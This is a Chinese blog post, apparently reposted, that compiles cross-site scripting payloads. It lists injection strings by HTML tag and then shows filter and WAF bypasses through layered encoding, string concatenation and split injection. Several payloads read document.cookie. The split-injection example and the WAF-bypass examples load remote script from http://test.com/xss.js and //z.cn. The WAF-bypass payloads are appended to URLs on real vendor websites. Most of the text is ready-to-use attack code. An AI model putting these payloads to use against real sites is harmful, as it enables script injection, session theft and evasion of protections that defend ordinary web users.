web-xss

这篇具有很好参考价值的文章主要介绍了web-xss。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、简介

二、xss的攻击方式

三、xss 常见标签语句

a标签

img标签

iframe标签

audio标签

video标签

svg标签

button标签

div标签

object标签

script标签

p标签

input标签

details标签

select标签

form标签

body标签

四、xss 常见绕过

编码绕过

1.html 实体编码

2. url 编码

3. js 编码(unicode编码)

4.八进制和十六进制

5. 混合编码

6.base64 编码

通常与 base64 编码配合 data 协议的标签有 :

1.object

2.href

3.iframe

4.embed

7. ascii 编码

空格过滤绕过

圆括号过滤绕过

1. 反引号替换

2. throw 绕过

单引号过滤绕过

1. 斜杠替换

2. 反引号替换

alert 过滤绕过

1. prompt 替换

2. confirm 替换

3. console.log 替换

4. document.write 替换

5. base64 绕过

关键词置空绕过

1. 大小写绕过

2. 嵌套绕过

函数拼接

1. eval

2. top

3. window

4. self

5. parent

6. frames

7. 常用函数

赋值拼接

火狐IE专属

拆分法

绕过 waf 拦截


一、简介

XSS 又称CSS(Cross Site Scripting)或跨站脚本攻击,攻击者在网页中插入由JavaScript编写的恶意代码,当用户浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

二、xss的攻击方式

  • Dom:这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。####假如一个网站有dom型的xss漏洞,刚好是url参数中存在这个漏洞,也就是说url中的参数会被显示在页面的dom元素中。我们利用这个dom xss漏洞,在url中构造一个按钮或者输入框,然后将这个url发送给用户,用户会以为这个按钮(输入框)是这个网站本身构造的。但是事实上我们构造的这个按钮是插入脚本的(只要点击就会触发一些操作)
  • 反射性:<一次性的>。简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。(经后端,不经数据库)
  • 存储型给:<持久化的>。将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后,产生安全问题。(经后端和数据库)##########这个漏洞在个人信息或发表文章和评论区等地方比较常见

三、xss 常见标签语句

a标签
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
img标签

<img> 标签定义 HTML 页面中的图像。

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">
iframe标签

<iframe> 标签会创建包含另外一个文档的内联框架。

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
audio标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
video标签

<audio> 标签定义声音,比如音乐或其他音频流。

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
svg标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>
button标签
<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>
div标签
这个需要借助url编码来实现绕过

原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
object标签

data 协议使用方法:data:资源类型;编码,内容
这个需要借助 data 伪协议和 base64 编码来实现绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
script标签

<script> 标签用于定义客户端脚本,比如 JavaScript。

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
p标签
<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>
input标签

<input> 标签规定了用户可以在其中输入数据的输入字段。

onfocus 事件在对象获得焦点时发生

input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>
details标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

<details ontoggle="alert('xss');"></details>
<details open ontoggle=alert('xss');></details>
select标签
<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>
form标签
<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
body标签

<body> 标签定义文档的主体。

<body onload="alert('xss');"></body>

四、xss 常见绕过

编码绕过

        浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE),所以编码顺序就要反着来

        关于转码和编码直接用chatgpt就可以了,都可以进行转化;对于已经编码的东西要转化为字符串,也可以用python脚本:直接print就可以了

print("\u0061\u006c\u0065\u0072\u0074(1)")

1.html 实体编码

当可控点为单个标签属性时,可以使用 html 实体编码。

<a href="可控点">test</a>

<iframe src="可控点">test<iframe>
<img src=x onerror="可控点">
Payload

<a href="javascript:alert(1)">test</a>

十进制
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>

十六进制
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>


可以不带分号
<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>


可以填充0
<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

2. url 编码

当注入点存在 href 或者 src 属性时,可以使用 url 编码。

<a href="可控点">test</a>

<iframe src="可控点">test</iframe>


Payload

<a href="javascript:alert(1)">test</a>

<iframe src="javascript:alert(1)">test</iframe>
注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
可以二次编码

<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>

<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</iframe>

3. js 编码(unicode编码)

        只能解析有效标识符和字符串,想括号这些解析完是不能被是识别执行的

js 编码策略:

        ①“” 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”

        ②“\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”

        ③“\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”

<img src=x onerror="可控点">

<input onfocus=location="可控点" autofocus>

Payload

<img src=x onerror="alert(1)">

<input onfocus=location="alert(1)" autofocus>

Unicode 编码

<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>

4.八进制和十六进制

编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

语法:setTimeout(要执行的代码, 等待的毫秒数)

setTimeout(JavaScript 函数, 等待的毫秒数)

alert(1)=\x61\x6C\x65\x72\x74\x28\x31\x29
        =\141\154\145\162\164\050\061\051
        =\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029

1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>

1.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>eval("\141\154\145\162\164\050\061\051")</script>
3.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

5. 混合编码

<a href="可控点">test</a>

Payload

<a href="javascript:alert(1)">test</a>

html 编码

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>

Unicode 编码

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

注:Unicode 编码不能对括号使用

url 编码

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

1.源代码

<a href="javascript:alert(1)">test</a>

2.对alert进行JS编码(unicode编码)

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

3.对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码

<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>

4.对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>

注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

6.base64 编码

base64 编码通常需要使用到 data 伪协议。

data 协议使用方法:data:资源类型;编码,内容

base64编码内容为

<script>alert(/xss/)</script>

PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=

通常与 base64 编码配合 data 协议的标签有 :
1.object
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
2.href
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a> 
#(新版浏览器不支持)
3.iframe
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
4.embed
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>

atob 函数

atob() 方法用于解码使用 base-64 编码的字符串。

语法:window.atob(encodedStr)(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)

1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
4.<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
5.<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>

7. ascii 编码

ascii 编码一般配合String.fromCharCode使用。

alert(1)
十进制:97, 108, 101, 114, 116, 40, 49, 41
十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29

十进制

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>

十六进制

<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>

空格过滤绕过

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

圆括号过滤绕过

1. 反引号替换

<script>alert`1`</script>

2. throw 绕过

<video src onerror="javascript:window.οnerrοr=alert;throw 1">
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

单引号过滤绕过

1. 斜杠替换

<script>alert(/xss/)</script>

2. 反引号替换

<script>alert(`xss`)</script>

alert 过滤绕过

1. prompt 替换

<script>prompt(document.cookie)</script>

2. confirm 替换

<script>confirm(document.cookie)</script>

3. console.log 替换

<script>console.log(3)</script>

4. document.write 替换

<script>document.write(document.cookie)</script>

web-xss,web,xss,前端

  5. base64 绕过

<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

关键词置空绕过

1. 大小写绕过

<ScRiPt>AlErT(/xss/)</sCrIpT>

2. 嵌套绕过

<sc<script>ript>alert(/xss/)</sc</script>ript>

函数拼接

1. eval

<img src="x"onerror="eval('al'+'ert(document.cookie)')">

2. top

<img src="x" onerror="top['al'+'ert'](1)">

3. window

<img src="x" onerror="window['al'+'ert'](1)">

4. self

<img src="x" onerror="self[`al`+`ert`](1)">

5. parent

<img src="x" onerror="parent[`al`+`ert`](1)">

6. frames

<img src="x" onerror="frames[`al`+`ert`](1)">
#(1)必须放在后面拼接,否则在dvwa中执行不了

7. 常用函数

<img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">

赋值拼接

<img src onerror=_=alert,_(1)>
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a='aler';b='t';top[a+b](1)">
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

火狐IE专属

<marquee onstart=alert(document.cookie)>
#<marquee>和尾标签</marquee>之间的内容就是滚动内容。
#direction表示滚动的方向,值可以是left,right,up,down,默认为left 。
#behavior表示滚动的方式,值可以是scroll(连续滚动)、slide、alternate(往返滚动) 。

拆分法

当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过。

<script>a='document.write("'</script>
<script>a=a+'<script src=ht'</script>
<script>a=a+'tp://test.com/xs'</script>
<script>a=a+'s.js></script>")'</script>
<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write(“”)

绕过 waf 拦截

安全狗

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">

D盾

http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

云锁+奇安信 waf文章来源地址https://www.toymoban.com/news/detail-638687.html

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild

到了这里,关于web-xss的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【前端安全】-【防范xss攻击】

    XSS 攻击是页面被注入了恶意的代码 公司需要一个搜索页面,根据 URL 参数决定的内容。小明写的前端页面代码如下: 如果这个url是: http://xxx/search?keyword=\\\"scriptalert(\\\'XSS\\\');/script ,会导致页面弹出两次弹窗,因为当浏览器请求 http://xxx/search?keyword=\\\"scriptalert(\\\'XSS\\\');/script 时,

    2024年02月09日
    浏览(56)
  • web-xss-dvwa

    目录 xss(reflected) low medium high xss(store) low medium high xss(dom) low medium  high 没有什么过滤,直接用最普通的标签就可以了 大小写绕过 双写绕过 过滤规则: $name = preg_replace( ‘/(. )s(. )c(. )r(. )i(. )p(. )t/i’, ‘’, $_GET[ ‘name’ ] ); 对任何模式的script都过滤了。 ①换标签进行过滤

    2024年02月13日
    浏览(35)
  • 前端安全XSS和CSRF讲解

    全称 Cross Site Scripting ,名为 跨站脚本攻击 。为啥不是单词第一个字母组合CSS,大概率与样式名称css进行区分。 XSS攻击原理 不需要你做任何的登录认证,它会通过合法的操作(比如在url中输入、在评论框中输入),向你的页面注入脚本(可能是js、html代码块等)。 导致的结

    2024年02月14日
    浏览(50)
  • Ctfshow web入门 XSS篇 web316-web333 详细题解 全

    是反射型 XSS 法一: 利用现成平台 法二: 自己搭服务器 先在服务器上面放一个接受Cookie的文件。 文件内容: payload: 已经获取到Cookie了 之后的题都用服务器不用XSS平台了。 管理服务器我用的是 xshell 和 xftp 。 和上一题一样的情景。 测试一下过滤了 script 了。 标签可以用

    2024年02月07日
    浏览(33)
  • 【Web】什么是 XSS 攻击,如何避免?

    🍎 个人博客: 个人主页 🏆 个人专栏: Web ⛳️   功不唐捐,玉汝于成 目录 前言 正文 常见方法: 结语  我的其他博客 在当今数字化时代,网络安全成为信息技术领域中的一项至关重要的任务。XSS(跨站脚本攻击)作为常见的Web应用程序漏洞,可能导致严重的安全问题。

    2024年02月01日
    浏览(40)
  • 5.1 - Web漏洞 - XSS漏洞详解

    「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」: 对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 首先,我们通过一个案例来认识一下XSS: 1#

    2024年02月13日
    浏览(39)
  • 前端安全:CSRF、XSS该怎么防御?

    近几年随着业务的不断发展,前端随之面临很多安全挑战。我们在日常开发中也需要不断预防和修复安全漏洞。接下来,梳理一些场景的前端安全问题和对应的解决方案。 XSS是后端的责任,后端应该在用户提交数据的接口对隐私敏感的数据进行转义。 NO,这种说法不对 所有

    2024年02月02日
    浏览(46)
  • 前端安全系列(一):如何防止XSS攻击?

    随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在

    2024年02月02日
    浏览(72)
  • 前端安全:XSS 与 CSRF 安全防御

    在当今数字化的时代,前端安全性变得愈发重要。跨站脚本攻击(XSS)和跨站请求伪造(CSRF)是常见的前端安全威胁,但通过一些简单的防御策略,我们可以有效地保护我们的应用程序和用户信息。本文将为您解释什么是 XSS 和 CSRF,以及如何防御这些威胁。 1. 跨站脚本攻击

    2024年02月13日
    浏览(42)
  • 面试:前端安全之XSS及CSRF

    XSS攻击全称跨站脚本攻击(Cross Site Scripting); CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF;是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户

    2024年02月16日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包